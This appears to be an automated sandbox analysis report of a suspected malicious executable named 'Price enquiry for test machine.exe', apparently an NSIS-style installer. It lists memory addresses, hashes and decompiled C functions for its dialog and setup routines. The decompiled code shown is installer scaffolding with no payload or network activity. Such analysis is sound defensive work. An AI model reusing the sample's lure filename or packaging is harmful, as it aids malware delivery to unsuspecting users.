0x0040659f
0x004065a2
0x004065ac
0x00000000
0x004065ac
0x00406597
0x00000000
0x00000000
0x004065b8
0x004065bc
0x004065c3
0x004065c6
0x004065c9
0x004065be
0x004065be
0x004065be
0x004065cc
0x004065cf
0x004065d2
0x004065d2
0x004065d5
0x004065d8
0x004065db
0x004065db
0x004065de
0x004065e5
0x004065ea
0x00000000
0x00000000
0x00406678
0x00406678
0x0040667c
0x00406a1a
0x00000000
0x00406a1a
0x00406682
0x00406685
0x00406688
0x0040668c
0x0040668f
0x00406695
0x00406697
0x00406697
0x00406697
0x0040669a
0x0040669d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004066fb
0x004066fb
0x004066ff
0x00406a26
0x00000000
0x00406a26
0x00406705
0x00406708
0x0040670b
0x0040670f
0x00406712
0x00406718
0x0040671a
0x0040671a
0x0040671a
0x0040671d
0x00000000
0x00000000
0x004064cb
0x004064cb
0x004064ce
0x00000000
0x00000000
0x0040680a
0x0040680e
0x00406830
0x00406833
0x0040683d
0x00000000
0x0040683d
0x00406810
0x00406813
0x00406817
0x0040681a
0x0040681a
0x0040681d
0x00000000
0x00000000
0x004068c7
0x004068cb
0x004068e9
0x004068e9
0x004068e9
0x004068f0
0x004068f7
0x004068fe
0x004068fe
0x00000000
0x004068fe
0x004068cd
0x004068d0
0x004068d3
0x004068d6
0x004068dd
0x00406821
0x00406821
0x00406824
0x00000000
0x00000000
0x004069b8
0x004069bb
0x00000000
0x00000000
0x004065f2
0x004065f4
0x004065fb
0x004065fc
0x004065fe
0x00406601
0x00000000
0x00000000
0x00406609
0x0040660c
0x0040660f
0x00406611
0x00406613
0x00406613
0x00406614
0x00406617
0x0040661e
0x00406621
0x0040662f
0x00000000
0x00000000
0x00406905
0x00406905
0x00406908
0x0040690f
0x00000000
0x00000000
0x00406914
0x00406914
0x00406918
0x00406a50
0x00000000
0x00406a50
0x0040691e
0x00406921
0x00406924
0x00406928
0x0040692b
0x00406931
0x00406933
0x00406933
0x00406933
0x00406936
0x00406939
0x00406939
0x00406939
0x00406939
0x0040693c
0x0040693c
0x00406940
0x004069a0
0x004069a3
0x004069a8
0x004069a9
0x004069ab
0x004069ad
0x004069b0
0x00000000
0x004069b0
0x00406942
0x00406948
0x0040694b
0x0040694e
0x00406951
0x00406954
0x00406957
0x0040695a
0x0040695d
0x00406960
0x00406963
0x0040697c
0x0040697f
0x00406982
0x00406985
0x00406989
0x0040698b
0x0040698b
0x0040698c
0x0040698f
0x00406965
0x00406965
0x0040696d
0x00406972
0x00406974
0x00406977
0x00406977
0x00406992
0x00406999
0x00000000
0x0040699b
0x00000000
0x0040699b
0x00000000
0x00406637
0x0040663a
0x00406670
0x004067a0
0x004067a0
0x004067a0
0x004067a0
0x004067a3
0x004067a3
0x004067a6
0x004067a8
0x00406a32
0x00000000
0x00406a32
0x004067ae
0x004067b1
0x00000000
0x00000000
0x004067b7
0x004067bb
0x004067be
0x004067be
0x004067be
0x00000000
0x004067be
0x0040663c
0x0040663e
0x00406640
0x00406642
0x00406645
0x00406646
0x00406648
0x0040664a
0x0040664d
0x00406650
0x00406666
0x0040666b
0x004066a3
0x004066a3
0x004066a7
0x004066d3
0x004066d5
0x004066dc
0x004066df
0x004066e2
0x004066e2
0x004066e7
0x004066e7
0x004066e9
0x004066ec
0x004066f3
0x004066f6
0x00406723
0x00406723
0x00406726
0x00406729
0x0040679d
0x0040679d
0x0040679d
0x00000000
0x0040679d
0x0040672b
0x00406731
0x00406734
0x00406737
0x0040673a
0x0040673d
0x00406740
0x00406743
0x00406746
0x00406749
0x0040674c
0x00406765
0x00406767
0x0040676a
0x0040676b
0x0040676e
0x00406770
0x00406773
0x00406775
0x00406777
0x0040677a
0x0040677c
0x0040677f
0x00406783
0x00406785
0x00406785
0x00406786
0x00406789
0x0040678c
0x0040674e
0x0040674e
0x00406756
0x0040675b
0x0040675d
0x00406760
0x00406760
0x0040678f
0x00406796
0x00406720
0x00406720
0x00406720
0x00406720
0x00000000
0x00406798
0x00000000
0x00406798
0x00406796
0x004066a9
0x004066ac
0x004066ae
0x004066b1
0x004066b4
0x004066b7
0x004066b9
0x004066bc
0x004066bf
0x004066bf
0x004066c2
0x004066c2
0x004066c5
0x004066cc
0x004066a0
0x004066a0
0x004066a0
0x004066a0
0x00000000
0x004066ce
0x00000000
0x004066ce
0x004066cc
0x00406652
0x00406655
0x00406657
0x0040665a
0x00000000
0x00000000
0x00000000
0x00000000
0x00406544
0x00406544
0x00406548
0x00406a0e
0x00000000
0x00406a0e
0x0040654e
0x00406551
0x00406554
0x00406557
0x00406559
0x00406559
0x00406559
0x0040655c
0x0040655f
0x00406562
0x00406565
0x00406568
0x0040656b
0x0040656c
0x0040656e
0x0040656e
0x0040656e
0x00406571
0x00406574
0x00406577
0x0040657a
0x0040657a
0x0040657a
0x0040657d
0x00000000
0x00000000
0x004067c1
0x004067c1
0x004067c1
0x004067c5
0x00000000
0x00000000
0x004067cb
0x004067ce
0x004067d1
0x004067d4
0x004067d6
0x004067d6
0x004067d6
0x004067d9
0x004067dc
0x004067df
0x004067e2
0x004067e5
0x004067e8
0x004067e9
0x004067eb
0x004067eb
0x004067eb
0x004067ee
0x004067f1
0x004067f4
0x004067f7
0x004067fa
0x004067fe
0x00406800
0x00406803
0x00000000
0x00406805
0x00000000
0x00406805
0x00406803
0x00406a38
0x00000000
0x00000000
0x00406067

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a16ca79695306fc73f85128c7aced9bd30f9fee4c2e10d2154f2b02c59f7427
Instruction ID: bc715f9ab80968e75e2fbed037c5f1c5951903de2449374fee89636cff417fa3
Opcode Fuzzy Hash: 1a16ca79695306fc73f85128c7aced9bd30f9fee4c2e10d2154f2b02c59f7427
Instruction Fuzzy Hash: 52F18571D00229CBCF28DFA8C8946ADBBB1FF45305F25816ED856BB281D3785A96CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00405E93, Relevance: 3.0, APIs: 2, Instructions: 14
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405E93(CHAR* _a4) {
				void* _t2;

				_t2 = FindFirstFileA(_a4, 0x422588); // executed
				if(_t2 == 0xffffffff) {
					return 0;
				}
				FindClose(_t2);
				return 0x422588;
			}

0x00405e9e
0x00405ea7
0x00000000
0x00405eb4
0x00405eaa
0x00000000

APIs

FindFirstFileA.KERNELBASE(?,00422588,00421940,004057AF,00421940,00421940,00000000,00421940,00421940,?,?,?,004054D1,?,C:\Users\user\AppData\Local\Temp\,?), ref: 00405E9E
FindClose.KERNEL32(00000000), ref: 00405EAA

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 8f5741f541142194311058383cb09f480250e6c9d027ffd32cd20bf8f0009166
Instruction ID: 22d16aeb20e1d117df59da4f29a20059377f8c00669f4036672bdba2b414caf9
Opcode Fuzzy Hash: 8f5741f541142194311058383cb09f480250e6c9d027ffd32cd20bf8f0009166
Instruction Fuzzy Hash: 95D0123190D520ABD7015738BD0C84B7A59DB553323508F32B465F53E0C7788D928AEA

Uniqueness

Uniqueness Score: -1.00%

Function 00403981, Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00403981(struct HWND__* _a4, signed int _a8, int _a12, long _a16) {
				struct HWND__* _v32;
				void* _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t35;
				signed int _t37;
				signed int _t39;
				intOrPtr _t44;
				struct HWND__* _t49;
				signed int _t67;
				struct HWND__* _t73;
				signed int _t86;
				struct HWND__* _t91;
				signed int _t99;
				int _t103;
				signed int _t115;
				signed int _t116;
				int _t117;
				signed int _t122;
				struct HWND__* _t125;
				struct HWND__* _t126;
				int _t127;
				long _t130;
				int _t132;
				int _t133;
				void* _t134;
				void* _t142;

				_t115 = _a8;
				if(_t115 == 0x110 || _t115 == 0x408) {
					_t35 = _a12;
					_t125 = _a4;
					__eflags = _t115 - 0x110;
					 *0x42051c = _t35;
					if(_t115 == 0x110) {
						 *0x423f48 = _t125;
						 *0x420530 = GetDlgItem(_t125, 1);
						_t91 = GetDlgItem(_t125, 2);
						_push(0xffffffff);
						_push(0x1c);
						 *0x41f4f8 = _t91;
						E00403E54(_t125);
						SetClassLongA(_t125, 0xfffffff2,  *0x423728); // executed
						 *0x42370c = E0040140B(4);
						_t35 = 1;
						__eflags = 1;
						 *0x42051c = 1;
					}
					_t122 =  *0x4091ac; // 0xffffffff
					_t133 = 0;
					_t130 = (_t122 << 6) +  *0x423f60;
					__eflags = _t122;
					if(_t122 < 0) {
						L34:
						E00403EA0(0x40b);
						while(1) {
							_t37 =  *0x42051c;
							 *0x4091ac =  *0x4091ac + _t37;
							_t130 = _t130 + (_t37 << 6);
							_t39 =  *0x4091ac; // 0xffffffff
							__eflags = _t39 -  *0x423f64; // 0x2
							if(__eflags == 0) {
								E0040140B(1);
							}
							__eflags =  *0x42370c - _t133; // 0x0
							if(__eflags != 0) {
								break;
							}
							_t44 =  *0x423f64; // 0x2
							__eflags =  *0x4091ac - _t44; // 0xffffffff
							if(__eflags >= 0) {
								break;
							}
							_t116 =  *(_t130 + 0x14);
							E00405BBA(_t116, _t125, _t130, 0x42c800,  *((intOrPtr*)(_t130 + 0x24)));
							_push( *((intOrPtr*)(_t130 + 0x20)));
							_push(0xfffffc19);
							E00403E54(_t125);
							_push( *((intOrPtr*)(_t130 + 0x1c)));
							_push(0xfffffc1b);
							E00403E54(_t125);
							_push( *((intOrPtr*)(_t130 + 0x28)));
							_push(0xfffffc1a);
							E00403E54(_t125);
							_t49 = GetDlgItem(_t125, 3);
							__eflags =  *0x423fcc - _t133; // 0x0
							_v32 = _t49;
							if(__eflags != 0) {
								_t116 = _t116 & 0x0000fefd | 0x00000004;
								__eflags = _t116;
							}
							ShowWindow(_t49, _t116 & 0x00000008);
							EnableWindow( *(_t134 + 0x30), _t116 & 0x00000100);
							E00403E76(_t116 & 0x00000002);
							_t117 = _t116 & 0x00000004;
							EnableWindow( *0x41f4f8, _t117);
							__eflags = _t117 - _t133;
							if(_t117 == _t133) {
								_push(1);
							} else {
								_push(_t133);
							}
							EnableMenuItem(GetSystemMenu(_t125, _t133), 0xf060, ??);
							SendMessageA( *(_t134 + 0x38), 0xf4, _t133, 1);
							__eflags =  *0x423fcc - _t133; // 0x0
							if(__eflags == 0) {
								_push( *0x420530);
							} else {
								SendMessageA(_t125, 0x401, 2, _t133);
								_push( *0x41f4f8);
							}
							E00403E89();
							E00405B98(0x420538, "uxxyribzeom Setup");
							E00405BBA(0x420538, _t125, _t130,  &(0x420538[lstrlenA(0x420538)]),  *((intOrPtr*)(_t130 + 0x18)));
							SetWindowTextA(_t125, 0x420538);
							_push(_t133);
							_t67 = E00401389( *((intOrPtr*)(_t130 + 8)));
							__eflags = _t67;
							if(_t67 != 0) {
								continue;
							} else {
								__eflags =  *_t130 - _t133;
								if( *_t130 == _t133) {
									continue;
								}
								__eflags =  *(_t130 + 4) - 5;
								if( *(_t130 + 4) != 5) {
									DestroyWindow( *0x423718);
									 *0x41fd08 = _t130;
									__eflags =  *_t130 - _t133;
									if( *_t130 <= _t133) {
										goto L58;
									}
									_t73 = CreateDialogParamA( *0x423f40,  *_t130 +  *0x423720 & 0x0000ffff, _t125,  *(0x4091b0 +  *(_t130 + 4) * 4), _t130);
									__eflags = _t73 - _t133;
									 *0x423718 = _t73;
									if(_t73 == _t133) {
										goto L58;
									}
									_push( *((intOrPtr*)(_t130 + 0x2c)));
									_push(6);
									E00403E54(_t73);
									GetWindowRect(GetDlgItem(_t125, 0x3fa), _t134 + 0x10);
									ScreenToClient(_t125, _t134 + 0x10);
									SetWindowPos( *0x423718, _t133,  *(_t134 + 0x20),  *(_t134 + 0x20), _t133, _t133, 0x15);
									_push(_t133);
									E00401389( *((intOrPtr*)(_t130 + 0xc)));
									__eflags =  *0x42370c - _t133; // 0x0
									if(__eflags != 0) {
										goto L61;
									}
									ShowWindow( *0x423718, 8);
									E00403EA0(0x405);
									goto L58;
								}
								__eflags =  *0x423fcc - _t133; // 0x0
								if(__eflags != 0) {
									goto L61;
								}
								__eflags =  *0x423fc0 - _t133; // 0x0
								if(__eflags != 0) {
									continue;
								}
								goto L61;
							}
						}
						DestroyWindow( *0x423718);
						 *0x423f48 = _t133;
						EndDialog(_t125,  *0x41f900);
						goto L58;
					} else {
						__eflags = _t35 - 1;
						if(_t35 != 1) {
							L33:
							__eflags =  *_t130 - _t133;
							if( *_t130 == _t133) {
								goto L61;
							}
							goto L34;
						}
						_push(0);
						_t86 = E00401389( *((intOrPtr*)(_t130 + 0x10)));
						__eflags = _t86;
						if(_t86 == 0) {
							goto L33;
						}
						SendMessageA( *0x423718, 0x40f, 0, 1);
						__eflags =  *0x42370c - _t133; // 0x0
						return 0 | __eflags == 0x00000000;
					}
				} else {
					_t125 = _a4;
					_t133 = 0;
					if(_t115 == 0x47) {
						SetWindowPos( *0x420510, _t125, 0, 0, 0, 0, 0x13);
					}
					if(_t115 == 5) {
						asm("sbb eax, eax");
						ShowWindow( *0x420510,  ~(_a12 - 1) & _t115);
					}
					if(_t115 != 0x40d) {
						__eflags = _t115 - 0x11;
						if(_t115 != 0x11) {
							__eflags = _t115 - 0x111;
							if(_t115 != 0x111) {
								L26:
								return E00403EBB(_t115, _a12, _a16);
							}
							_t132 = _a12 & 0x0000ffff;
							_t126 = GetDlgItem(_t125, _t132);
							__eflags = _t126 - _t133;
							if(_t126 == _t133) {
								L13:
								__eflags = _t132 - 1;
								if(_t132 != 1) {
									__eflags = _t132 - 3;
									if(_t132 != 3) {
										_t127 = 2;
										__eflags = _t132 - _t127;
										if(_t132 != _t127) {
											L25:
											SendMessageA( *0x423718, 0x111, _a12, _a16);
											goto L26;
										}
										__eflags =  *0x423fcc - _t133; // 0x0
										if(__eflags == 0) {
											_t99 = E0040140B(3);
											__eflags = _t99;
											if(_t99 != 0) {
												goto L26;
											}
											 *0x41f900 = 1;
											L21:
											_push(0x78);
											L22:
											E00403E2D();
											goto L26;
										}
										E0040140B(_t127);
										 *0x41f900 = _t127;
										goto L21;
									}
									__eflags =  *0x4091ac - _t133; // 0xffffffff
									if(__eflags <= 0) {
										goto L25;
									}
									_push(0xffffffff);
									goto L22;
								}
								_push(_t132);
								goto L22;
							}
							SendMessageA(_t126, 0xf3, _t133, _t133);
							_t103 = IsWindowEnabled(_t126);
							__eflags = _t103;
							if(_t103 == 0) {
								goto L61;
							}
							goto L13;
						}
						SetWindowLongA(_t125, _t133, _t133);
						return 1;
					} else {
						DestroyWindow( *0x423718);
						 *0x423718 = _a12;
						L58:
						if( *0x421538 == _t133) {
							_t142 =  *0x423718 - _t133; // 0x0
							if(_t142 != 0) {
								ShowWindow(_t125, 0xa);
								 *0x421538 = 1;
							}
						}
						L61:
						return 0;
					}
				}
			}

0x0040398a
0x00403993
0x00403ad4
0x00403ad8
0x00403adc
0x00403ade
0x00403ae3
0x00403aee
0x00403af9
0x00403afe
0x00403b00
0x00403b02
0x00403b05
0x00403b0a
0x00403b18
0x00403b25
0x00403b2c
0x00403b2c
0x00403b2d
0x00403b2d
0x00403b32
0x00403b38
0x00403b3f
0x00403b45
0x00403b47
0x00403b87
0x00403b8c
0x00403b91
0x00403b91
0x00403b96
0x00403b9f
0x00403ba1
0x00403ba6
0x00403bac
0x00403bb0
0x00403bb0
0x00403bb5
0x00403bbb
0x00000000
0x00000000
0x00403bc1
0x00403bc6
0x00403bcc
0x00000000
0x00000000
0x00403bd5
0x00403bdd
0x00403be2
0x00403be5
0x00403beb
0x00403bf0
0x00403bf3
0x00403bf9
0x00403bfe
0x00403c01
0x00403c07
0x00403c0f
0x00403c15
0x00403c1b
0x00403c1f
0x00403c26
0x00403c26
0x00403c26
0x00403c30
0x00403c42
0x00403c4e
0x00403c53
0x00403c5d
0x00403c63
0x00403c65
0x00403c6a
0x00403c67
0x00403c67
0x00403c67
0x00403c7a
0x00403c92
0x00403c94
0x00403c9a
0x00403caf
0x00403c9c
0x00403ca5
0x00403ca7
0x00403ca7
0x00403cb5
0x00403cc5
0x00403cd6
0x00403cdd
0x00403ce3
0x00403ce7
0x00403cec
0x00403cee
0x00000000
0x00403cf4
0x00403cf4
0x00403cf6
0x00000000
0x00000000
0x00403cfc
0x00403d00
0x00403d25
0x00403d2b
0x00403d31
0x00403d33
0x00000000
0x00000000
0x00403d59
0x00403d5f
0x00403d61
0x00403d66
0x00000000
0x00000000
0x00403d6c
0x00403d6f
0x00403d72
0x00403d89
0x00403d95
0x00403dae
0x00403db4
0x00403db8
0x00403dbd
0x00403dc3
0x00000000
0x00000000
0x00403dcd
0x00403dd8
0x00000000
0x00403dd8
0x00403d02
0x00403d08
0x00000000
0x00000000
0x00403d0e
0x00403d14
0x00000000
0x00000000
0x00000000
0x00403d1a
0x00403cee
0x00403de5
0x00403df1
0x00403df8
0x00000000
0x00403b49
0x00403b49
0x00403b4c
0x00403b7f
0x00403b7f
0x00403b81
0x00000000
0x00000000
0x00000000
0x00403b81
0x00403b4e
0x00403b52
0x00403b57
0x00403b59
0x00000000
0x00000000
0x00403b69
0x00403b71
0x00000000
0x00403b77
0x004039a5
0x004039a5
0x004039a9
0x004039ae
0x004039bd
0x004039bd
0x004039c6
0x004039cf
0x004039da
0x004039da
0x004039e6
0x00403a02
0x00403a05
0x00403a18
0x00403a1e
0x00403ac1
0x00000000
0x00403aca
0x00403a24
0x00403a31
0x00403a33
0x00403a35
0x00403a54
0x00403a54
0x00403a57
0x00403a5c
0x00403a5f
0x00403a6f
0x00403a70
0x00403a72
0x00403aa8
0x00403abb
0x00000000
0x00403abb
0x00403a74
0x00403a7a
0x00403a93
0x00403a98
0x00403a9a
0x00000000
0x00000000
0x00403a9c
0x00403a88
0x00403a88
0x00403a8a
0x00403a8a
0x00000000
0x00403a8a
0x00403a7d
0x00403a82
0x00000000
0x00403a82
0x00403a61
0x00403a67
0x00000000
0x00000000
0x00403a69
0x00000000
0x00403a69
0x00403a59
0x00000000
0x00403a59
0x00403a3f
0x00403a46
0x00403a4c
0x00403a4e
0x00000000
0x00000000
0x00000000
0x00403a4e
0x00403a0a
0x00000000
0x004039e8
0x004039ee
0x004039f8
0x00403dfe
0x00403e04
0x00403e06
0x00403e0c
0x00403e11
0x00403e17
0x00403e17
0x00403e0c
0x00403e21
0x00000000
0x00403e21
0x004039e6

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004039BD
ShowWindow.USER32(?), ref: 004039DA
DestroyWindow.USER32 ref: 004039EE
SetWindowLongA.USER32(?,00000000,00000000), ref: 00403A0A
GetDlgItem.USER32 ref: 00403A2B
SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 00403A3F
IsWindowEnabled.USER32(00000000), ref: 00403A46
GetDlgItem.USER32 ref: 00403AF4
GetDlgItem.USER32 ref: 00403AFE
KiUserCallbackDispatcher.NTDLL(?,000000F2,?,0000001C,000000FF), ref: 00403B18
SendMessageA.USER32(0000040F,00000000,00000001,?), ref: 00403B69
GetDlgItem.USER32 ref: 00403C0F
ShowWindow.USER32(00000000,?), ref: 00403C30
EnableWindow.USER32(?,?), ref: 00403C42
EnableWindow.USER32(?,?), ref: 00403C5D
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403C73
EnableMenuItem.USER32 ref: 00403C7A
SendMessageA.USER32(?,000000F4,00000000,00000001), ref: 00403C92
SendMessageA.USER32(?,00000401,00000002,00000000), ref: 00403CA5
lstrlenA.KERNEL32(00420538,?,00420538,uxxyribzeom Setup), ref: 00403CCE
SetWindowTextA.USER32(?,00420538), ref: 00403CDD
ShowWindow.USER32(?,0000000A), ref: 00403E11

Strings

uxxyribzeom Setup, xrefs: 00403CBF

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Item$MessageSend$EnableShow$Menu$CallbackDestroyDispatcherEnabledLongSystemTextUserlstrlen
String ID: uxxyribzeom Setup
API String ID: 4050669955-786485250
Opcode ID: de2fcf6cdcd3bcc1c8429ee21d0de177b3c1a35057383903eb5d37bb8d4e0bda
Instruction ID: 5fd13e9e65c650ae90d185cc2d11acb2e8fe01e0af56b63b73109b0399f4b85d
Opcode Fuzzy Hash: de2fcf6cdcd3bcc1c8429ee21d0de177b3c1a35057383903eb5d37bb8d4e0bda
Instruction Fuzzy Hash: EFC1CF71A04201BBDB20AF61ED85D2B7EBCEB4470AB40453EF541B51E1C73DAA429F5E

Uniqueness

Uniqueness Score: -1.00%

Function 004035EB, Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 215
stringregistryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E004035EB(void* __eflags) {
				intOrPtr _v4;
				intOrPtr _v8;
				int _v12;
				int _v16;
				char _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t20;
				signed int _t24;
				void* _t28;
				void* _t30;
				int _t31;
				void* _t34;
				int _t37;
				int _t38;
				intOrPtr _t39;
				int _t42;
				intOrPtr _t60;
				char _t62;
				CHAR* _t64;
				signed char _t68;
				struct HINSTANCE__* _t76;
				CHAR* _t79;
				intOrPtr _t81;
				CHAR* _t85;

				_t81 =  *0x423f50; // 0x6f2508
				_t20 = E00405F28(3);
				_t88 = _t20;
				if(_t20 == 0) {
					_t79 = 0x420538;
					"1033" = 0x7830;
					E00405A7F(0x80000001, "Control Panel\\Desktop\\ResourceLocale", 0, 0x420538, 0);
					__eflags =  *0x420538;
					if(__eflags == 0) {
						E00405A7F(0x80000003, ".DEFAULT\\Control Panel\\International",  &M00407342, 0x420538, 0);
					}
					lstrcatA("1033", _t79);
				} else {
					E00405AF6("1033",  *_t20() & 0x0000ffff);
				}
				E004038B4(_t76, _t88);
				_t24 =  *0x423f58; // 0x80
				_t84 = "C:\\Users\\hardz\\AppData\\Local\\Temp";
				 *0x423fc0 = _t24 & 0x00000020;
				 *0x423fdc = 0x10000;
				if(E0040576C(_t88, "C:\\Users\\hardz\\AppData\\Local\\Temp") != 0) {
					L16:
					if(E0040576C(_t96, _t84) == 0) {
						E00405BBA(0, _t79, _t81, _t84,  *((intOrPtr*)(_t81 + 0x118)));
					}
					_t28 = LoadImageA( *0x423f40, 0x67, 1, 0, 0, 0x8040); // executed
					 *0x423728 = _t28;
					if( *((intOrPtr*)(_t81 + 0x50)) == 0xffffffff) {
						L21:
						if(E0040140B(0) == 0) {
							_t30 = E004038B4(_t76, __eflags);
							__eflags =  *0x423fe0; // 0x0
							if(__eflags != 0) {
								_t31 = E00404F56(_t30, 0);
								__eflags = _t31;
								if(_t31 == 0) {
									E0040140B(1);
									goto L33;
								}
								__eflags =  *0x42370c; // 0x0
								if(__eflags == 0) {
									E0040140B(2);
								}
								goto L22;
							}
							ShowWindow( *0x420510, 5); // executed
							_t37 = E00405EBA("RichEd20"); // executed
							__eflags = _t37;
							if(_t37 == 0) {
								E00405EBA("RichEd32");
							}
							_t85 = "RichEdit20A";
							_t38 = GetClassInfoA(0, _t85, 0x4236e0);
							__eflags = _t38;
							if(_t38 == 0) {
								GetClassInfoA(0, "RichEdit", 0x4236e0);
								 *0x423704 = _t85;
								RegisterClassA(0x4236e0);
							}
							_t39 =  *0x423720; // 0x0
							_t42 = DialogBoxParamA( *0x423f40, _t39 + 0x00000069 & 0x0000ffff, 0, E00403981, 0); // executed
							E0040353B(E0040140B(5), 1);
							return _t42;
						}
						L22:
						_t34 = 2;
						return _t34;
					} else {
						_t76 =  *0x423f40; // 0x400000
						 *0x4236f4 = _t28;
						_v20 = 0x624e5f;
						 *0x4236e4 = E00401000;
						 *0x4236f0 = _t76;
						 *0x423704 =  &_v20;
						if(RegisterClassA(0x4236e0) == 0) {
							L33:
							__eflags = 0;
							return 0;
						}
						_t12 =  &_v16; // 0x624e5f
						SystemParametersInfoA(0x30, 0, _t12, 0);
						 *0x420510 = CreateWindowExA(0x80,  &_v20, 0, 0x80000000, _v16, _v12, _v8 - _v16, _v4 - _v12, 0, 0,  *0x423f40, 0);
						goto L21;
					}
				} else {
					_t76 =  *(_t81 + 0x48);
					if(_t76 == 0) {
						goto L16;
					}
					_t60 =  *0x423f78; // 0x6f6e8c
					_t79 = 0x422ee0;
					E00405A7F( *((intOrPtr*)(_t81 + 0x44)), _t76,  *((intOrPtr*)(_t81 + 0x4c)) + _t60, 0x422ee0, 0);
					_t62 =  *0x422ee0; // 0x72
					if(_t62 == 0) {
						goto L16;
					}
					if(_t62 == 0x22) {
						_t79 = 0x422ee1;
						 *((char*)(E004056B6(0x422ee1, 0x22))) = 0;
					}
					_t64 = lstrlenA(_t79) + _t79 - 4;
					if(_t64 <= _t79 || lstrcmpiA(_t64, ?str?) != 0) {
						L15:
						E00405B98(_t84, E0040568B(_t79));
						goto L16;
					} else {
						_t68 = GetFileAttributesA(_t79);
						if(_t68 == 0xffffffff) {
							L14:
							E004056D2(_t79);
							goto L15;
						}
						_t96 = _t68 & 0x00000010;
						if((_t68 & 0x00000010) != 0) {
							goto L15;
						}
						goto L14;
					}
				}
			}

0x004035f1
0x004035fa
0x00403601
0x00403603
0x00403617
0x00403629
0x00403633
0x00403638
0x0040363e
0x00403651
0x00403651
0x0040365c
0x00403605
0x00403610
0x00403610
0x00403661
0x00403666
0x0040366b
0x00403674
0x00403679
0x0040368a
0x00403711
0x00403719
0x00403722
0x00403722
0x00403738
0x0040373e
0x0040374c
0x004037db
0x004037e3
0x004037ed
0x004037f2
0x004037f8
0x00403882
0x00403887
0x00403889
0x004038a5
0x00000000
0x004038a5
0x0040388b
0x00403891
0x00403899
0x00403899
0x00000000
0x00403891
0x00403806
0x00403811
0x00403816
0x00403818
0x0040381f
0x0040381f
0x0040382a
0x00403832
0x00403834
0x00403836
0x0040383f
0x00403842
0x00403848
0x00403848
0x0040384e
0x00403867
0x00403878
0x00000000
0x0040387d
0x004037e5
0x004037e7
0x00000000
0x00403752
0x00403752
0x00403758
0x00403762
0x0040376a
0x00403774
0x0040377a
0x00403788
0x004038aa
0x004038aa
0x00000000
0x004038aa
0x0040378e
0x00403797
0x004037d6
0x00000000
0x004037d6
0x00403690
0x00403690
0x00403695
0x00000000
0x00000000
0x0040369a
0x0040369f
0x004036af
0x004036b4
0x004036bb
0x00000000
0x00000000
0x004036bf
0x004036c1
0x004036ce
0x004036ce
0x004036d6
0x004036dc
0x00403704
0x0040370c
0x00000000
0x004036ee
0x004036ef
0x004036f8
0x004036fe
0x004036ff
0x00000000
0x004036ff
0x004036fa
0x004036fc
0x00000000
0x00000000
0x00000000
0x004036fc
0x004036dc

APIs

Part of subcall function 00405F28: GetModuleHandleA.KERNEL32(?,?,?,00403165,0000000D), ref: 00405F3A
Part of subcall function 00405F28: GetProcAddress.KERNEL32(00000000,?), ref: 00405F55

lstrcatA.KERNEL32(1033,00420538,80000001,Control Panel\Desktop\ResourceLocale,00000000,00420538,00000000,00000003,C:\Users\user\AppData\Local\Temp\,?,"C:\Users\user\Desktop\Price enquiry for test machine.exe" ,00000000), ref: 0040365C
lstrlenA.KERNEL32(rzxxndps,?,?,?,rzxxndps,00000000,C:\Users\user\AppData\Local\Temp,1033,00420538,80000001,Control Panel\Desktop\ResourceLocale,00000000,00420538,00000000,00000003,C:\Users\user\AppData\Local\Temp\), ref: 004036D1
lstrcmpiA.KERNEL32(?,.exe,rzxxndps,?,?,?,rzxxndps,00000000,C:\Users\user\AppData\Local\Temp,1033,00420538,80000001,Control Panel\Desktop\ResourceLocale,00000000,00420538,00000000), ref: 004036E4
GetFileAttributesA.KERNEL32(rzxxndps), ref: 004036EF
LoadImageA.USER32 ref: 00403738

